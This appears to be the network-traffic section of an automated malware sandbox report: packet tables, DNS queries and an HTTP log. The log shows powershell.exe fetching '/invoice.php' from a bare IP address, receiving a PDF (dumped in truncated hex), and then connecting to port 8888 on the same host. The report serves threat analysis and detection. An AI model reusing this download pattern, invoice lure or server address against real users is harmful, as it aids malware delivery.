Jan 11, 2025 04:29:23.609787941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.609818935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.609842062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.610016108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.610073090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.610083103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.610105038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.610348940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.610359907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.610368967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.610379934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.610388041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.610415936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.610732079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.610742092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.610752106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.610763073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.610768080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.610774040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.610785961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.610795021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.610795021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.610821009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.610846996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.641495943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.641530037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.641541004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.641752005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.641762972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.641773939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.641782999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.641784906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.641803980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.641813993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.642173052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.642210960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.642218113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.642229080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.642240047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.642261982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.642405987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.642441034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.642476082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.642487049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.642497063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.642508984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.642518044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.642538071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.643081903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.643093109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.643102884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.643115044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.643122911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.643126965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.643138885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.643150091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.643161058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.643166065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.643193007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.643908978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.643920898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.643932104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.643938065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.643951893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.643963099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.643975019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.643980026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.643985987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.643996954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.644005060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.644007921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.644025087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.644051075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.644804001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.644815922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.644826889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.644838095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.644849062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.644851923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.644860029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.644872904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.644886017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.644891977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.644896984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.644912958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.644936085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.645711899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.645723104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.645735025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.645746946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.645747900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.645759106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.645765066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.645771027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.645781994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.645793915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.645801067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.645807028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.645818949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.645850897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.646541119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.646553040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.646564960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.646575928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.646586895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.646591902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.646600008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.646610975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.646620989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.646621943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.646636963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.646660089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.647432089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.647444010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.647455931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.647466898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.647479057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.647485971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.647489071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.647500038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.647505999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.647511959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.647521973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.647522926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.647552013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.648252010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.648263931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.648273945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.648286104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.648292065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.648298025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.648308992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.648313046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.648340940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.652662039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.652724981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.652776957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.652786970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.652822018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.652915001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.652925014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.652956963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.653043985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.653055906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.653084040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.671483040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.671525002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.671536922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.671577930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.671782970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.671794891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.671818972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.715825081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.934714079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.981447935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:24.004430056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:24.009608030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:24.009623051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:24.009634972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:24.009675026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:24.014966011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:24.019841909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:24.019854069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:24.019864082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:24.019896984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:24.019939899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:24.020059109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:24.020068884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:24.020080090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:24.020091057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:24.020098925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:24.020126104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:24.020535946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:24.020545959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:24.020555973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:24.020566940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:24.020576000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:24.020577908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:24.020587921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:24.020600080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:24.020611048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:24.020615101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:24.020621061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:24.020641088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:24.021311998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:24.021325111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:24.021354914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:24.021517038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:24.021529913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:24.021541119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:24.021550894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:24.021554947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:24.021564007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:24.021572113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:24.021575928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:24.021585941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:24.021595955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:24.021600008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:24.021605968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:24.021616936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:24.021619081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:24.021642923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:24.022500992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:24.022512913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:24.022521973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:24.022533894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:24.022550106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:24.022574902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:24.264136076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:24.432616949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:24.861695051 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:24.866607904 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:24.866694927 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:24.866878986 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:24.871634007 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:25.666522980 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:25.715815067 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:26.929056883 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:49.563926935 CET	56599	53	192.168.2.5	162.159.36.2
Jan 11, 2025 04:29:49.568779945 CET	53	56599	162.159.36.2	192.168.2.5
Jan 11, 2025 04:29:49.568866014 CET	56599	53	192.168.2.5	162.159.36.2
Jan 11, 2025 04:29:49.573864937 CET	53	56599	162.159.36.2	192.168.2.5
Jan 11, 2025 04:29:50.026025057 CET	56599	53	192.168.2.5	162.159.36.2
Jan 11, 2025 04:29:50.031125069 CET	53	56599	162.159.36.2	192.168.2.5
Jan 11, 2025 04:29:50.031202078 CET	56599	53	192.168.2.5	162.159.36.2

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 04:29:37.799601078 CET	49262	53	192.168.2.5	1.1.1.1
Jan 11, 2025 04:29:49.563118935 CET	53	57499	162.159.36.2	192.168.2.5
Jan 11, 2025 04:29:50.035743952 CET	58895	53	192.168.2.5	1.1.1.1
Jan 11, 2025 04:29:50.042875051 CET	53	58895	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 04:29:37.799601078 CET	192.168.2.5	1.1.1.1	0xca16	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:29:50.035743952 CET	192.168.2.5	1.1.1.1	0xe0f2	Standard query (0)	206.23.85.13.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 04:29:37.807791948 CET	1.1.1.1	192.168.2.5	0xca16	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 04:29:50.042875051 CET	1.1.1.1	192.168.2.5	0xe0f2	Name error (3)	206.23.85.13.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	1976	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 04:29:22.204088926 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 04:29:22.981405973 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:29:22 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 04:29:22.981460094 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 04:29:22.981471062 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 04:29:22.981731892 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 04:29:22.981743097 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 04:29:22.981751919 CET	448	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 04:29:22.982094049 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 04:29:22.982105017 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
